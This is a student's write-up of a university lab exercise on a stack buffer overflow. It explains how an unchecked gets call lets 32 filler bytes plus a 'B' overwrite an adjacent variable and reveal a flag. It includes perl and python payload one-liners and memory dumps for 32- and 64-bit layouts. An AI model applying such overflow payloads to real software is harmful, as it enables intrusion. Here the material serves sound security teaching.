Buffer Overflow - 1
Contents
The nice course tutors decided to provide us some programs vulnerable to buffer overflow attacks - so let’s have a play with them!
Code
|
|
Analysis
Search up the manual for gets
.
Do it now.
|
|
That’s right, never use gets
.
The gets
function is very elementary, and will blindly write data into memory. In other words, if we write 33 bytes in a 32 byte array, that extra byte will also be written - to somewhere probably undesirable.
And that’s exactly what we do to perform a buffer overflow attack - we overflow the buffer (ie an array).
In this program, the name
array is 32 bytes long, and is positioned before the team
character variable.
Hold on.
But name
was declared after team
- why is it positioned before???
Computer Memory
In the computer, our program memory is separated into two regions: the stack and the heap.
The stack (containing our runtime variables) is located at the end of the allocated memory - it expands by building downwards.
The heap (program code and static things) is located at the start of the allocated memory, and it builds up.
1 2 3 | 0x00000000 0xFFFFFFFF ------------------------------------------------- HEAP-------> <------STACK |
As the stack builds downards, newer variables are given a lower memory address, which is why name
is at an address lower than team
, despite it being defined after.
And this is important for our overflow attack!
1 2 3 | name (32 bytes) team (1 byte) ------------------------------------------------ [ ][ ] |
By exploiting gets
, if we write more than 32 bytes - i.e. 33 bytes - into name
, the extra byte will be written into team.
We want to overflow a ‘B’ character into team
, so we just need to pass 32 dummy characters, then a ‘B’ into the input of the program.
1 2 3 4 5 6 7 8 9 10 11 | $> perl -e 'print("\x00" x 32 . "B")' | ./basic # Or if you want to use python # python -c "print('\x00' * 32 + 'B')" | ./basic` Halt! Who goes there! Let me see if you're on the list, ... We can leave this here, because it is never called. Our flag is safe. Flag: COMP6841{Hey_Look_Ma_I_Made_It!} Segmentation fault |
So we’ve successfully retreieved the flag COMP6841{Hey_Look_Ma_I_Made_It!}
It doesn’t matter what data is used to fill in name
.
Note on 64-bit architecture
On an x64 machine, we actually need to write 47 bytes into the input before we can inject our ‘B’.
perl -e 'print(" " x 47 . "B")' | ./basic
Why?
Supposedly this is a compatability thing for SIMD instructions that operate on 128 bits (16 bytes). So there is some padding between the data - supposedly.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | $> compile basic --length 15 > /dev/null 2> /dev/null $> perl -e 'print("B"x15 . "B")' | aslr ./basic ::main:: around 0x555555555185 name around 0x7fffffffe46c [Memory up to &team] 42,42,42,42,42,42,42,42, 42,42,42,42,42,42,42,42, Let me see if you're on the list, BBBBBBBBBBBBBBBB... We can leave this here, because it is never called. Our flag is safe. Flag: COMP6841{Hey_Look_Ma_I_Made_It!} |
1 2 3 4 5 6 7 8 9 10 11 | $> compile basic --length 16 > /dev/null 2> /dev/null $> perl -e 'print("B"x16 . "B")' | aslr ./basic ::main:: around 0x555555555185 name around 0x7fffffffe460 [Memory up to &team] 42,42,42,42,42,42,0,fffffffe, fffffff7,ffffffff,7f,0,0,0,0,0, 41, Let me see if you're on the list, BBBBBBBBBBBBBBBBB... |
compile
is a stub program to modify the length of the buffer array. Regardless, as you can see, by changing the length from 15
to 16
, there are 10 bytes separating the end of the array, and the address of team
.